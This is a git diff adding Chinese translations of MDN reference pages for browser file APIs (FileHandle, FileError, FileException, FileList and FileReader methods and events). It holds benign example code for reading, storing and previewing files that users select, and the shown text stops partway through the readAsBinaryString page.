+  // Start a reading operation for the whole file content
+  var reading = myFile.readAsText(size);
+
+  reading.onsuccess = function () {
+    console.log('The content of the file is:');
+    console.log(this.result);
+  }
+
+  reading.onerror = function () {
+    console.log('Something goes wrong in the reading process: ' + this.error);
+  }
+}
+
+ +

文件快照

+ +

在许多情况下,获取文件快照可能很方便。 例如,许多API都期望使用{{domxref("Blob")}}或{{domxref("File")}}对象,例如{{domxref("FileReader")}}(易于使用) 读取整个文件)或{{domxref("XMLHttpRequest")}}。

+ +

可以使用{{domxref("FileHandle.getFile","getFile")}}获得一个{{domxref("File")}}对象,该对象代表{{domxref("FileHandle")}}对象处理的文件的当前状态方法。 这样的{{domxref("File")}}对象与原始文件完全不同步,这意味着对该对象所做的任何更改将永远不会反映到已处理文件中,并且对已处理文件所做的任何更改也将永远不会被反映。 推送到{{domxref("File")}}对象。

+ +
var mySnapshot = null;
+var request = myFileHandle.getFile();
+
+request.onsuccess = function () {
+  mySnapshot = this.result;
+}
+
+ +

管理进度

+ +

来自{{domxref("LockedFile")}}接口的所有方法都返回一个{{domxref("FileRequest")}}对象。 这样的对象基本上是具有额外功能的{{domxref("DOMRequest")}}:它可以监视操作的进度。 有时读写操作可能会很长,因此最好监视该操作以向用户提供反馈。 可以使用{{domxref("FileRequest.onprogress")}}事件处理程序来完成此类监视。

+ +
var progress = document.querySelector('progress');
+var myFile   = myFileHandle.open('readonly');
+
+// Let's read a 1GB file
+var action   = myFile.readAsArrayBuffer(1000000000);
+
+action.onprogress = function (event) {
+  if (progress) {
+    progress.value = event.loaded;
+    progress.max   = event.total;
+  }
+}
+
+action.onsuccess = function () {
+  console.log('Yeah \o/ Just read a 1GB file');
+}
+
+action.onerror = function () {
+  console.log('Oups :( Unable to read a 1GB file')
+}
+
+ +

文件储存

+ +

创建文件句柄时,只要您持有{{domxref("FileHandle")}}实例,关联文件就仅作为“临时文件”存在。 如果您希望文件在页面刷新/应用重新启动后仍然存在,则需要将句柄存储在数据库中(不一定是用于创建{{domxref("FileHandle")}} object)。

+ +
var IDBReq = window.indexedDB.open('myFileStorageDataBase');
+
+// If necessary, let's create a datastore for the files
+IDBReq.onupgradeneeded = function () {
+  this.result.createObjectStore('files');
+}
+
+IDBReq.onsuccess = function () {
+  var DB = this.result;
+
+  // Let's create a new file
+  var handleReq = DB.mozCreateFileHandle("test.txt", "plain/text");
+
+  handleReq.onsuccess = function () {
+    var myFileHandle = this.result;
+    var store = DB.transaction(['files'], 'readwrite').objectStore('files');
+
+    // Let's store the file permanently
+    // HINT: it could be handy to use the file name as the storage key
+    var storeReq = store.add(myFileHandle, myFileHandle.name);
+
+    storeReq.onsuccess = function () {
+      console.log('The file has been successfully stored and can be retrieved anytime.')
+    }
+  }
+}
+
+ +

以这种方式存储的文件将物理地放置在设备上。数据库本身仅存储指向该文件的指针。这意味着,如果{{domxref("FileHandle")}} 对象在多个DB或多个数据存储中存储了几次,则所有这些对象都将引用同一个唯一文件。这不是问题,因为要访问文件,需要一个{domxref("LockedFile")}}对象,并且对该对象的操作是独立执行的,这意味着一旦{{domxref("LockedFile")}} 在激活状态下,保证此 {{domxref("LockedFile")}} 的所有操作在基础文件上顺序发生,而不会与其他{{domxref("LockedFile")}}的操作交错。

+ +

安全的写操作

+ +

出于性能原因,写(和读)操作是在内存中完成的。这些操作的结果定期异步刷新到设备存储区域。如果由于某种原因在此之前出现问题,则可能会丢失某些操作的结果。为了避免这个问题,可以使用 {{domxref("LockedFile.flush()")}} 方法。成功调用此方法后,可以确保对文件的更改是安全的。

+ +
// Get a LockedFile object from the handle
+var myFile = myFileHandle.open('readwrite');
+
+// Start a writing operation
+var writing = myFile.append('Some content');
+
+writing.onsuccess = function () {
+  console.log('Writing operation successful');
+
+  var saving = myFile.flush();
+
+  saving.onsuccess = function () {
+    console.log('The file has been successfully stored');
+  }
+}
+
+writing.onerror = function () {
+  console.log('Something goes wrong in the writing process: ' + this.error);
+}
+ +

API兼容性

+ +

Why a different API than FileWriter?

+ +

The FileWriter specification defines FileWriters, objects aiming at representing editable files. Discussions on public-webapps led to the conclusion that the API would behave poorly in the case of different entities writing concurrently to the same file. The outcome of this discussion is the FileHandle API with its LockedFile and transaction mechanism.

+ +

Specifications

+ +

A formal specification draft is being written. As it does not fully match the current implementation, be warned that the implementation and/or the specification will be subject to changes.

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('FileSystem')}}{{Spec2('FileSystem')}}Draft proposal
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}15{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}15{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/fileerror/index.html b/files/zh-cn/web/api/fileerror/index.html new file mode 100644 index 0000000000..d476b4da4c --- /dev/null +++ b/files/zh-cn/web/api/fileerror/index.html @@ -0,0 +1,77 @@ +--- +title: FileError +slug: Web/API/FileError +translation_of: Web/API/FileError +--- +

{{APIRef("File System API")}}{{obsolete_header()}}

+ +

概述

+ +

用来表示在使用{{ domxref("FileReader") }}接口时发生的错误.

+ +

属性

+ + + + + + + + + + + + + + +
属性名类型描述
codeunsigned shortThe error code.
+ +

Error codes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量描述
ABORT_ERR3文件的操作命令被取消,可能是由于调用了FileReaderabort()方法.
ENCODING_ERR5文件数据不能准确的被表示为一个data URI.
NOT_FOUND_ERR1找不到文件.
NOT_READABLE_ERR4文件无法被读取.
SECURITY_ERR2由于安全原因,文件不能被访问.
+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/FileError" } ) }}

diff --git a/files/zh-cn/web/api/fileexception/index.html b/files/zh-cn/web/api/fileexception/index.html new file mode 100644 index 0000000000..a888b6b6b3 --- /dev/null +++ b/files/zh-cn/web/api/fileexception/index.html @@ -0,0 +1,182 @@ +--- +title: FileException +slug: Web/API/FileException +translation_of: Web/API/FileException +--- +
{{APIRef("File System API")}} {{Non-standard_header}}
+ +

在 文件系统 API 中, FileException 表示错误条件,你可能在使用同步 API 访问文件系统时遇到。它扩展了 FileException 接口,在 File Writer 中描述,并添加了几个新的错误代码。

+ +

基本概念

+ +

同步 API 没有错误回调,这使其难以捕获错误。和这个 API 一起使用 WebWorkers 的额外复杂性,使得调试更具有挑战性。为了使事情简化,将你的工作器代码包在 try/catch 里面。当错误发生时,使用 postMessage() 将它们转发给主应用,像这样:

+ +
function onError(e) {
+  postMessage('ERROR:' + e.toString());
+}
+
+try {
+  //Error is thrown if "log.txt" already exists.
+var fileEntry = fs.root.getFile('log.txt', {create: true, exclusive:true}0;
+} catch (e) {
+  onErrror(e);
+} 
+ +

示例代码取自 HTML5Rocks

+ +

属性

+ + + + + + + + + + + + + + + + +
AttributeTypeDescription
codeunsigned short用于该条件的最合适的错误代码。
+ +

常量

+ +

{{Note("不要依赖于常量的数值,它可能随着规范改动而改动。使用常量名称来代替。")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量描述
ENCODING_ERR5URL 格式错误。确保 URL 是完整和有效的。
INVALID_MODIFICATION_ERR9请求的改动是不允许的。无效改动包括将目录移动到它的子目录中,或者将文件移动到它的父目录中,而没有修改它的名称。
INVALID_STATE_ERR7在接口对象的当前状态上,不能执行操作。例如,缓存在接口对象中的状态,自从上次从磁盘读取之后发生改变。
NO_MODIFICATION_ALLOWED_ERR6底层文件系统的状态阻止任何文件或者目录的写入。
NOT_FOUND_ERR1在操作执行时,所需文件或者目录无法找到。例如,打开了不存在的文件。
NOT_READABLE_ERR4 +

文件或者目录不能读取,通常由于权限问题,出现在获取文件引用之后(例如,文件或者目录当前由另一个应用锁住)。

+
PATH_EXISTS_ERR12路径相同的文件或者目录已存在。
QUOTA_EXCEEDED_ERR10 +

没有足够的剩余空间,或者存储器配额已达到,并且用户拒绝向数据库提供更多空间。

+
SECURITY_ERR2 +

拒绝文件访问,由于下列原因之一:

+ +
    +
  • 在 Web 应用中访问文件是不安全的。
  • +
  • 文件资源上有过多调用。
  • +
  • 其它未规定的安全错误代码或情况。
  • +
+
TYPE_MISMATCH_ERR11用户尝试检索文件或者目录,但是找到的条目类型错误。例如,应用正在访问 DirectoryEntry ,当用户请求 FileEntry 的时候。
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support13{{property_prefix("webkit")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}0.16 {{property_prefix("webkit")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

另见

+ +

规范:{{spec("http://dev.w3.org/2009/dap/file-system/pub/FileSystem/", "文件 API:目录和系统规范", "WD")}}

+ +

参考:文件系统 API

+ +

简介:文件系统 API 的基本概念

diff --git a/files/zh-cn/web/api/filelist/index.html b/files/zh-cn/web/api/filelist/index.html new file mode 100644 index 0000000000..7912555fcf --- /dev/null +++ b/files/zh-cn/web/api/filelist/index.html @@ -0,0 +1,179 @@ +--- +title: FileList +slug: Web/API/FileList +tags: + - API + - File API + - Files + - 文件 +translation_of: Web/API/FileList +--- +
{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}
+ +

一个 FileList 对象通常来自于一个 HTML {{HTMLElement("input")}} 元素的 files 属性,你可以通过这个对象访问到用户所选择的文件。该类型的对象还有可能来自用户的拖放操作,查看 DataTransfer 对象了解详情。

+ +
+
{{ gecko_callout_heading("1.9.2") }}
+ +

在 Gecko 1.9.2 之前,通过 input 元素,每次只能选择一个文件,这意味着该 input 元素的 files 属性上的 FileList 对象无论如何都只能包含一个文件。从Gecko 1.9.2 开始,如果一个 input 元素拥有 multiple 属性,则可以用它来选择多个文件。

+
+ +

使用 FileList

+ +

所有type属性(attribute)为file的 <input> 元素都有一个files属性(property),用来存储用户所选择的文件. 例如:

+ +
<input id="fileItem" type="file">
+
+ +

下面的一行代码演示如何获取到一个FileList对象中的第一个文件(File 对象):

+ +
var file = document.getElementById('fileItem').files[0];
+
+ +

方法概述

+ + + + + + + +
File item(index);
+ +

属性

+ + + + + + + + + + + + + + +
属性名类型描述
lengthinteger一个只读的整数值,用来返回列表中的文件数量。
+ +

方法

+ +

item()

+ +

根据给定的索引值,返回 FileList 对象中对应的 File 对象。

+ +
 File item(
+   index
+ );
+
+ +
参数
+ +
+
index
+
File 对象在 FileList 对象中的索引值,从 0 开始。
+
+ +
返回值
+ +

所请求的File对象。

+ +

示例

+ +

这个例子迭代了用户通过一个 input 元素选择的多个文件:

+ +
// fileInput 是一个 HTML input 元素: <input type="file" id="myfileinput" multiple>
+var fileInput = document.getElementById("myfileinput");
+
+// files 是一个 FileList 对象(类似于NodeList对象)
+var files = fileInput.files;
+var file;
+
+// 遍历所有文件
+for (var i = 0; i < files.length; i++) {
+
+    // 取得一个文件
+    file = files.item(i);
+    // 这样也行
+    file = files[i];
+    // 取得文件名
+    alert(file.name);
+}
+
+ +

下面是一个更完整的例子。

+ +
<!DOCTYPE HTML>
+<html>
+<head>
+</head>
+<body>
+<!-- multiple 属性允许用户选择多个文件 -->
+
+<input id="myfiles" multiple type="file">
+
+</body>
+
+<script>
+
+var pullfiles=function(){
+    // love the query selector
+    var fileInput = document.querySelector("#myfiles");
+    var files = fileInput.files;
+    // 获取所选文件数量
+    var fl = files.length;
+    var i = 0;
+
+    while ( i < fl) {
+        // localize file var in the loop
+        var file = files[i];
+        alert(file.name);
+        i++;
+    }
+}
+
+// 设置 change 事件处理函数
+document.querySelector("#myfiles").onchange=pullfiles;
+
+</script>
+
+</html>
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#filelist-section', 'FileList')}}{{Spec2('File API')}}
{{SpecName('HTML WHATWG', '#concept-input-type-file-selected', 'selected files')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.FileList")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/filereader/abort/index.html b/files/zh-cn/web/api/filereader/abort/index.html new file mode 100644 index 0000000000..195f05b1bb --- /dev/null +++ b/files/zh-cn/web/api/filereader/abort/index.html @@ -0,0 +1,98 @@ +--- +title: FileReader.abort() +slug: Web/API/FileReader/abort +translation_of: Web/API/FileReader/abort +--- +

{{APIRef("File API")}}

+ +

该方法可以取消 FileReader 的读取操作,触发之后 {{domxref("FileReader.readyState","readyState")}} 为已完成(DONE)。

+ +

语法

+ +
instanceOfFileReader.abort();
+ +

例外情况

+ +
+
DOM_FILE_ABORT_ERR
+
对一个没有正在进行读取操作({{domxref("FileReader.readyState","readyState")}} 不是LOADING)的 FileReader 进行 abort 操作,会抛出 DOM_FILE_ABORT_ERR 错误。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]710[2]12.02[3]6.0.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.1
+
+ +

[1] 在Gecko 2.0 beta 7 (Firefox 4.0 beta 7)之前,上述方法中所有的 {{domxref("Blob")}} 参数都只能是一个 {{domxref("File")}} 对象。根据最新的 FileAPI 草案,现在的所有的 {{domxref("Blob")}} 参数既可以是 {{domxref("Blob")}} 对象也可以是一个 {{domxref("File")}} 对象。在Gecko 13.0 {{geckoRelease("13.0")}} 之前,FileReader.error 属性会返回一个 FileError 对象。根据最新的FileAPI草案,现在的  FileReader.error会返回一个 DOMError 对象。

+ +

[2] IE9有一个 File API Lab.

+ +

[3] Opera从11.10开始 部分支持 .

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/filereader/error/index.html b/files/zh-cn/web/api/filereader/error/index.html new file mode 100644 index 0000000000..056b44219c --- /dev/null +++ b/files/zh-cn/web/api/filereader/error/index.html @@ -0,0 +1,96 @@ +--- +title: FileReader.error +slug: Web/API/FileReader/error +translation_of: Web/API/FileReader/error +--- +
{{APIRef("File API")}}
+ +

返回读取文件时的错误信息

+ +

语法

+ +
var error = instanceOfFileReader.error
+
+ +

返回值

+ +

返回一个 {{domxref("DOMError")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]710[2]12.02[3]6.0.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.1
+
+ +

[1] 在Gecko 2.0 beta 7 (Firefox 4.0 beta 7)之前,上述方法中所有的 {{domxref("Blob")}} 参数都只能是一个 {{domxref("File")}} 对象。根据最新的 FileAPI 草案,现在的所有的 {{domxref("Blob")}} 参数既可以是 {{domxref("Blob")}} 对象也可以是一个 {{domxref("File")}} 对象。在Gecko 13.0 {{geckoRelease("13.0")}} 之前,FileReader.error 属性会返回一个 FileError 对象。根据最新的FileAPI草案,现在的  FileReader.error会返回一个 DOMError 对象。

+ +

[2] IE9有一个 File API Lab.

+ +

[3] Opera从11.10开始 部分支持 .

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/filereader/filereader/index.html b/files/zh-cn/web/api/filereader/filereader/index.html new file mode 100644 index 0000000000..ed7206707f --- /dev/null +++ b/files/zh-cn/web/api/filereader/filereader/index.html @@ -0,0 +1,59 @@ +--- +title: FileReader() +slug: Web/API/FileReader/FileReader +tags: + - API + - FileReader + - 参考 + - 构造方法 +translation_of: Web/API/FileReader/FileReader +--- +

使用 FileReader() 构造器去创建一个新的 FileReader.

+ +

更多关于 FileReader,  查看在Web应用中使用files

+ +

语法

+ +
var reader = new FileReader();
+ +

参数

+ +

None.

+ +

例子

+ +

以下代码展示了如何使用 FileReader() 构造器创建 FileReader 对象,和FileReader对象的用法。

+ +
function printFile(file) {
+  var reader = new FileReader();
+  reader.onload = function(evt) {
+    console.log(evt.target.result);
+  };
+  reader.readAsText(file);
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API')}}{{Spec2('File API')}}Initial definition
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/filereader/index.html b/files/zh-cn/web/api/filereader/index.html new file mode 100644 index 0000000000..316b42f53e --- /dev/null +++ b/files/zh-cn/web/api/filereader/index.html @@ -0,0 +1,220 @@ +--- +title: FileReader +slug: Web/API/FileReader +tags: + - API + - File API + - Files + - Interface + - Reference +translation_of: Web/API/FileReader +--- +

{{APIRef("File API")}}

+ +

FileReader 对象允许Web应用程序异步读取存储在用户计算机上的文件(或原始数据缓冲区)的内容,使用 {{domxref("File")}} 或 {{domxref("Blob")}} 对象指定要读取的文件或数据。

+ +

其中File对象可以是来自用户在一个{{ HTMLElement("input") }}元素上选择文件后返回的{{ domxref("FileList") }}对象,也可以来自拖放操作生成的 DataTransfer对象,还可以是来自在一个{{ domxref("HTMLCanvasElement") }}上执行mozGetAsFile()方法后返回结果。

+ +

重要提示: FileReader仅用于以安全的方式从用户(远程)系统读取文件内容 它不能用于从文件系统中按路径名简单地读取文件。 要在JavaScript中按路径名读取文件,应使用标准Ajax解决方案进行服务器端文件读取,如果读取跨域,则使用CORS权限。

+ +

{{AvailableInWorkers}}

+ +

构造函数

+ +
+
{{domxref("FileReader.FileReader", "FileReader()")}}
+
返回一个新构造的FileReader
+
+ +

有关详细信息和示例,请参阅如何在web应用程序中使用文件

+ +

属性

+ +
+
{{domxref("FileReader.error")}} {{readonlyinline}}
+
一个{{domxref("DOMException")}},表示在读取文件时发生的错误 。
+
{{domxref("FileReader.readyState")}} {{readonlyinline}}
+
表示FileReader状态的数字。取值如下: + + + + + + + + + + + + + + + + + + + + + + + +
常量名描述
EMPTY0还没有加载任何数据.
LOADING1数据正在被加载.
DONE2已完成全部的读取请求.
+
+
{{domxref("FileReader.result")}} {{readonlyinline}}
+
文件的内容。该属性仅在读取操作完成后才有效,数据的格式取决于使用哪个方法来启动读取操作。
+
+ +

事件处理

+ +
+
{{domxref("FileReader.onabort")}}
+
处理{{event("abort")}}事件。该事件在读取操作被中断时触发。
+
{{domxref("FileReader.onerror")}}
+
处理{{event("error")}}事件。该事件在读取操作发生错误时触发。
+
{{domxref("FileReader.onload")}}
+
处理{{event("load")}}事件。该事件在读取操作完成时触发。
+
{{domxref("FileReader.onloadstart")}}
+
处理{{event("loadstart")}}事件。该事件在读取操作开始时触发。
+
{{domxref("FileReader.onloadend")}}
+
处理{{event("loadend")}}事件。该事件在读取操作结束时(要么成功,要么失败)触发。
+
{{domxref("FileReader.onprogress")}}
+
处理{{event("progress")}}事件。该事件在读取{{domxref("Blob")}}时触发。
+
+ +
+

因为 FileReader 继承自{{domxref("EventTarget")}},所以所有这些事件也可以通过{{domxref("EventTarget.addEventListener()","addEventListener")}}方法使用。

+
+ +

方法

+ +
+
{{domxref("FileReader.abort()")}}
+
中止读取操作。在返回时,readyState属性为DONE
+
{{domxref("FileReader.readAsArrayBuffer()")}} {{gecko_minversion_inline("7.0")}}
+
开始读取指定的 {{domxref("Blob")}}中的内容, 一旦完成, result 属性中保存的将是被读取文件的 {{domxref("ArrayBuffer")}} 数据对象.
+
{{domxref("FileReader.readAsBinaryString()")}} {{non-standard_inline}}
+
开始读取指定的{{ domxref("Blob") }}中的内容。一旦完成,result属性中将包含所读取文件的原始二进制数据。
+
{{domxref("FileReader.readAsDataURL()")}}
+
开始读取指定的{{ domxref("Blob") }}中的内容。一旦完成,result属性中将包含一个data: URL格式的Base64字符串以表示所读取文件的内容。
+
{{domxref("FileReader.readAsText()")}}
+
开始读取指定的{{ domxref("Blob") }}中的内容。一旦完成,result属性中将包含一个字符串以表示所读取的文件内容。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#dfn-filereader", "FileReader")}}{{Spec2("File API")}}Initial definition
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]7{{CompatVersionUnknown}}1012.02[2]6.0
Support in Web Workers{{CompatGeckoDesktop(46)}}{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown()}}{{CompatNo}}
error property uses {{domxref("DOMException")}}, not {{domxref("DOMError")}}{{CompatGeckoDesktop(58)}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatNo}}{{CompatVersionUnknown()}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support323{{CompatVersionUnknown}}1011.56.1
Support in Web Workers{{CompatGeckoMobile(46)}}{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown()}}{{CompatNo}}
error property uses {{domxref("DOMException")}}, not {{domxref("DOMError")}}{{CompatGeckoMobile(58)}}{{CompatUnknown()}}{{CompatVersionUnknown()}}{{CompatNo}}{{CompatVersionUnknown()}}{{CompatNo}}
+
+ +

[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the FileReader.error property returned a {{domxref("FileError")}} object. This interface has been removed and FileReader.error is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.

+ +

[2] Opera has partial support in 11.1.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/filereader/load_event/index.html b/files/zh-cn/web/api/filereader/load_event/index.html new file mode 100644 index 0000000000..227e52a463 --- /dev/null +++ b/files/zh-cn/web/api/filereader/load_event/index.html @@ -0,0 +1,167 @@ +--- +title: 'FileReader: load event' +slug: Web/API/FileReader/load_event +tags: + - load 事件 +translation_of: Web/API/FileReader/load_event +--- +
{{APIRef}}
+ +

当文件成功读取时,执行load 事件

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡No
是否能中断退出No
调用接口{{domxref("ProgressEvent")}}
事件处理属性{{domxref("FileReader.onload")}}
+ +

例子

+ +

Live example

+ +

HTML

+ +
<div class="example">
+
+    <div class="file-select">
+        <label for="avatar">Choose a profile picture:</label>
+        <input type="file"
+               id="avatar" name="avatar"
+               accept="image/png, image/jpeg">
+    </div>
+
+    <img src="" class="preview" height="200" alt="Image preview...">
+
+    <div class="event-log">
+        <label>Event log:</label>
+        <textarea readonly class="event-log-contents"></textarea>
+    </div>
+
+  </div>
+ + + +

JS

+ +
const fileInput = document.querySelector('input[type="file"]');
+const preview = document.querySelector('img.preview');
+const eventLog = document.querySelector('.event-log-contents');
+const reader = new FileReader();
+
+function handleEvent(event) {
+    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
+
+    if (event.type === "load") {
+        preview.src = reader.result;
+    }
+}
+
+function addListeners(reader) {
+    reader.addEventListener('loadstart', handleEvent);
+    reader.addEventListener('load', handleEvent);
+    reader.addEventListener('loadend', handleEvent);
+    reader.addEventListener('progress', handleEvent);
+    reader.addEventListener('error', handleEvent);
+    reader.addEventListener('abort', handleEvent);
+}
+
+function handleSelected(e) {
+    eventLog.textContent = '';
+    const selectedFile = fileInput.files[0];
+    if (selectedFile) {
+        addListeners(reader);
+        reader.readAsDataURL(selectedFile);
+    }
+}
+
+fileInput.addEventListener('change', handleSelected);
+
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '300px') }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('File API', '#dfn-load-event')}}{{Spec2('File API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.FileReader.load_event")}}

+ +

请参阅

+ + diff --git a/files/zh-cn/web/api/filereader/onabort/index.html b/files/zh-cn/web/api/filereader/onabort/index.html new file mode 100644 index 0000000000..d992162230 --- /dev/null +++ b/files/zh-cn/web/api/filereader/onabort/index.html @@ -0,0 +1,12 @@ +--- +title: FileReader.onabort +slug: Web/API/FileReader/onabort +translation_of: Web/API/FileReader/onabort +--- +

FileReader.onabort 属性包含在终止事件被触发时执行的事件处理程序,举例,当读取文件的过程中需要中止时。

+ +

语法

+ +
reader.onabort = function() { ... };
+ +

 

diff --git a/files/zh-cn/web/api/filereader/onload/index.html b/files/zh-cn/web/api/filereader/onload/index.html new file mode 100644 index 0000000000..971ffa3d37 --- /dev/null +++ b/files/zh-cn/web/api/filereader/onload/index.html @@ -0,0 +1,25 @@ +--- +title: FileReader.onload +slug: Web/API/FileReader/onload +tags: + - 文件 +translation_of: Web/API/FileReader/onload +--- +

{{APIRef}}

+ +

FileReader 读取文件的方式为  readAsArrayBuffer, readAsBinaryString, readAsDataURL 或者 readAsText 的时候,会触发一个 {{event('load')}} 事件。从而可以使用  FileReader.onload 属性对该事件进行处理。

+ +

范例

+ +
// 一个文件上传的回调 <input type="file" onchange="onChange(event)">
+function onChange(event) {
+  var file = event.target.files[0];
+  var reader = new FileReader();
+  reader.onload = function(event) {
+    // 文件里的文本会在这里被打印出来
+    console.log(event.target.result)
+  };
+
+  reader.readAsText(file);
+}
+
diff --git a/files/zh-cn/web/api/filereader/readasarraybuffer/index.html b/files/zh-cn/web/api/filereader/readasarraybuffer/index.html new file mode 100644 index 0000000000..2d22e8bb1d --- /dev/null +++ b/files/zh-cn/web/api/filereader/readasarraybuffer/index.html @@ -0,0 +1,98 @@ +--- +title: FileReader.readAsArrayBuffer() +slug: Web/API/FileReader/readAsArrayBuffer +translation_of: Web/API/FileReader/readAsArrayBuffer +--- +

{{APIRef("File API")}}

+ +

{{domxref("FileReader")}} 接口提供的 readAsArrayBuffer() 方法用于启动读取指定的 {{domxref("Blob")}} 或 {{domxref("File")}} 内容。当读取操作完成时,{{domxref("FileReader.readyState","readyState")}} 变成 DONE(已完成),并触发 {{event("loadend")}} 事件,同时 {{domxref("FileReader.result","result")}} 属性中将包含一个 {{domxref("ArrayBuffer")}} 对象以表示所读取文件的数据。

+ +

语法

+ +
instanceOfFileReader.readAsArrayBuffer(blob);
+ +

参数

+ +
+
blob
+
即将被读取的 {{domxref("Blob")}} 或 {{domxref("File")}} 对象。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#readAsArrayBuffer", "FileReader.readAsArrayBuffer")}}{{Spec2("File API")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]710[2]12.02[3]6.0.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.1
+
+ +

[1] 在Gecko 2.0 beta 7 (Firefox 4.0 beta 7)之前,上述方法中所有的 {{domxref("Blob")}} 参数都只能是一个 {{domxref("File")}} 对象。根据最新的 FileAPI 草案,现在的所有的 {{domxref("Blob")}} 参数既可以是 {{domxref("Blob")}} 对象也可以是一个 {{domxref("File")}} 对象。在Gecko 13.0 {{geckoRelease("13.0")}} 之前,FileReader.error 属性会返回一个 FileError 对象。根据最新的FileAPI草案,现在的  FileReader.error会返回一个 DOMError 对象。

+ +

[2] IE9有一个 File API Lab.

+ +

[3] Opera从11.10开始 部分支持 .

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/filereader/readasbinarystring/index.html b/files/zh-cn/web/api/filereader/readasbinarystring/index.html new file mode 100644 index 0000000000..135709795e --- /dev/null +++ b/files/zh-cn/web/api/filereader/readasbinarystring/index.html @@ -0,0 +1,115 @@ +--- +title: FileReader.readAsBinaryString() +slug: Web/API/FileReader/readAsBinaryString +translation_of: Web/API/FileReader/readAsBinaryString +--- +
{{APIRef("File API")}} {{non-standard_header}}
+ +
 
+ +

readAsBinaryString 方法会读取指定的 {{domxref("Blob")}} 或 {{domxref("File")}} 对象,当读取完成的时候,{{domxref("FileReader.readyState","readyState")}}  会变成DONE(已完成),并触发 {{event("loadend")}} 事件,同时 {{domxref("FileReader.result","result")}} 属性将包含所读取文件原始二进制格式。

+ +

注意:从 2012 年 7 月 12 日起,该方法已从 W3C 工作草案废除。

+ +

语法

+ +
instanceOfFileReader.readAsBinaryString(blob);
+ +

参数

+ +
+
blob
+
